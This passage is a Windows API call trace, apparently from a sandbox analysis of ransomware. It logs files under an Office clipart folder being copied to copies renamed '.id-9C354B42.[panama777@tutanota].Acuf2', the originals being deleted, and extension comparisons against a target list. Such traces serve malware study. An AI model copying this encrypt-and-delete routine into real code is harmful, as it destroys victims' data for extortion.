	[0271.751] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.751] SetEndOfFile (hFile=0x360) returned 1
	[0271.751] CloseHandle (hObject=0x360) returned 1
	[0271.752] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.752] SetEndOfFile (hFile=0x390) returned 1
	[0271.755] CloseHandle (hObject=0x390) returned 1
	[0271.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.760] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif")) returned 1
	[0271.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.760] lstrlenW (lpString=".doc") returned 4
	[0271.760] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.760] lstrlenW (lpString=".docx") returned 5
	[0271.760] lstrcmpiW (lpString1=".docx", lpString2="5.GIF") returned -1
	[0271.760] lstrlenW (lpString=".pdf") returned 4
	[0271.760] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.760] lstrlenW (lpString=".xls") returned 4
	[0271.760] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.760] lstrlenW (lpString=".xlsx") returned 5
	[0271.760] lstrcmpiW (lpString1=".xlsx", lpString2="5.GIF") returned -1
	[0271.760] lstrlenW (lpString=".ppt") returned 4
	[0271.760] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.760] lstrlenW (lpString=".zip") returned 4
	[0271.760] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.760] lstrlenW (lpString=".rar") returned 4
	[0271.760] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.760] lstrlenW (lpString=".bz2") returned 4
	[0271.760] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.761] lstrlenW (lpString=".7z") returned 3
	[0271.761] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.761] lstrlenW (lpString=".dbf") returned 4
	[0271.761] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.761] lstrlenW (lpString=".1cd") returned 4
	[0271.761] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF") returned 63
	[0271.761] lstrlenW (lpString=".jpg") returned 4
	[0271.761] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.771] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=51401) returned 1
	[0271.771] CloseHandle (hObject=0x390) returned 1
	[0271.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 0x20
	[0271.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.772] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.772] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.774] GetLastError () returned 0x0
	[0271.774] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xc8c9, lpOverlapped=0x0) returned 1
	[0271.776] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xc8d0, lpOverlapped=0x0) returned 1
	[0271.778] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.778] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.778] SetEndOfFile (hFile=0x360) returned 1
	[0271.778] CloseHandle (hObject=0x360) returned 1
	[0271.778] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.778] SetEndOfFile (hFile=0x390) returned 1
	[0271.780] CloseHandle (hObject=0x390) returned 1
	[0271.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif")) returned 1
	[0271.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.783] lstrlenW (lpString=".doc") returned 4
	[0271.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.783] lstrlenW (lpString=".docx") returned 5
	[0271.783] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0271.783] lstrlenW (lpString=".pdf") returned 4
	[0271.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.783] lstrlenW (lpString=".xls") returned 4
	[0271.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.783] lstrlenW (lpString=".xlsx") returned 5
	[0271.783] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0271.783] lstrlenW (lpString=".ppt") returned 4
	[0271.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.783] lstrlenW (lpString=".zip") returned 4
	[0271.783] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.783] lstrlenW (lpString=".rar") returned 4
	[0271.783] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.783] lstrlenW (lpString=".bz2") returned 4
	[0271.783] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.783] lstrlenW (lpString=".7z") returned 3
	[0271.783] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.784] lstrlenW (lpString=".dbf") returned 4
	[0271.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.784] lstrlenW (lpString=".1cd") returned 4
	[0271.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF") returned 63
	[0271.784] lstrlenW (lpString=".jpg") returned 4
	[0271.784] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.784] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=4967) returned 1
	[0271.784] CloseHandle (hObject=0x390) returned 1
	[0271.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 0x20
	[0271.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.785] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.785] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.785] GetLastError () returned 0x0
	[0271.785] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x1367, lpOverlapped=0x0) returned 1
	[0271.787] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0271.787] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.788] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.788] SetEndOfFile (hFile=0x360) returned 1
	[0271.788] CloseHandle (hObject=0x360) returned 1
	[0271.788] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.788] SetEndOfFile (hFile=0x390) returned 1
	[0271.790] CloseHandle (hObject=0x390) returned 1
	[0271.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.790] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif")) returned 1
	[0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.790] lstrlenW (lpString=".doc") returned 4
	[0271.790] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.790] lstrlenW (lpString=".docx") returned 5
	[0271.790] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0271.790] lstrlenW (lpString=".pdf") returned 4
	[0271.790] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.790] lstrlenW (lpString=".xls") returned 4
	[0271.790] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.790] lstrlenW (lpString=".xlsx") returned 5
	[0271.790] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0271.790] lstrlenW (lpString=".ppt") returned 4
	[0271.791] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.791] lstrlenW (lpString=".zip") returned 4
	[0271.791] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.791] lstrlenW (lpString=".rar") returned 4
	[0271.791] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.791] lstrlenW (lpString=".bz2") returned 4
	[0271.791] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.791] lstrlenW (lpString=".7z") returned 3
	[0271.791] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.791] lstrlenW (lpString=".dbf") returned 4
	[0271.791] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.791] lstrlenW (lpString=".1cd") returned 4
	[0271.791] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.791] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF") returned 63
	[0271.791] lstrlenW (lpString=".jpg") returned 4
	[0271.791] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.792] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=3904) returned 1
	[0271.792] CloseHandle (hObject=0x390) returned 1
	[0271.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 0x20
	[0271.792] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0271.792] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.792] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.792] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0271.792] GetLastError () returned 0x0
	[0271.792] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xf40, lpOverlapped=0x0) returned 1
	[0271.794] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xf50, lpOverlapped=0x0) returned 1
	[0271.795] ReadFile (in: hFile=0x390, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.795] WriteFile (in: hFile=0x360, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.795] SetEndOfFile (hFile=0x360) returned 1
	[0271.795] CloseHandle (hObject=0x360) returned 1
	[0271.795] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.795] SetEndOfFile (hFile=0x390) returned 1
	[0271.797] CloseHandle (hObject=0x390) returned 1
	[0271.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.797] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif")) returned 1
	[0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.797] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.797] lstrlenW (lpString=".doc") returned 4
	[0271.797] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0271.797] lstrlenW (lpString=".docx") returned 5
	[0271.797] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1
	[0271.797] lstrlenW (lpString=".pdf") returned 4
	[0271.797] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0271.797] lstrlenW (lpString=".xls") returned 4
	[0271.798] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0271.798] lstrlenW (lpString=".xlsx") returned 5
	[0271.798] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1
	[0271.798] lstrlenW (lpString=".ppt") returned 4
	[0271.798] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0271.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.798] lstrlenW (lpString=".zip") returned 4
	[0271.798] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0271.798] lstrlenW (lpString=".rar") returned 4
	[0271.798] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0271.798] lstrlenW (lpString=".bz2") returned 4
	[0271.798] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0271.798] lstrlenW (lpString=".7z") returned 3
	[0271.798] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0271.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.798] lstrlenW (lpString=".dbf") returned 4
	[0271.798] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0271.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.798] lstrlenW (lpString=".1cd") returned 4
	[0271.798] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0271.798] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF") returned 63
	[0271.798] lstrlenW (lpString=".jpg") returned 4
	[0271.798] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0271.832] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=17854) returned 1
	[0271.832] CloseHandle (hObject=0x36c) returned 1
	[0271.835] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 0x20
	[0271.883] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0271.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0271.885] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.885] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0271.885] GetLastError () returned 0x0
	[0271.885] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x45be, lpOverlapped=0x0) returned 1
	[0271.894] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x45c0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x45c0, lpOverlapped=0x0) returned 1
	[0271.895] ReadFile (in: hFile=0x388, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0271.895] WriteFile (in: hFile=0x28c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0271.895] SetEndOfFile (hFile=0x28c) returned 1
	[0271.895] CloseHandle (hObject=0x28c) returned 1
	[0271.895] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0271.895] SetEndOfFile (hFile=0x388) returned 1
	[0271.898] CloseHandle (hObject=0x388) returned 1
	[0271.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0271.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf")) returned 1
	[0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.898] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.898] lstrlenW (lpString=".doc") returned 4
	[0271.898] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0271.898] lstrlenW (lpString=".docx") returned 5
	[0271.898] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0271.898] lstrlenW (lpString=".pdf") returned 4
	[0271.898] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0271.898] lstrlenW (lpString=".xls") returned 4
	[0271.898] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0271.898] lstrlenW (lpString=".xlsx") returned 5
	[0271.898] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0271.899] lstrlenW (lpString=".ppt") returned 4
	[0271.899] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.899] lstrlenW (lpString=".zip") returned 4
	[0271.899] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0271.899] lstrlenW (lpString=".rar") returned 4
	[0271.899] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0271.899] lstrlenW (lpString=".bz2") returned 4
	[0271.899] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0271.899] lstrlenW (lpString=".7z") returned 3
	[0271.899] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0271.899] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF") returned 63
	[0271.899] lstrlenW (lpString=".dbf") returned 4
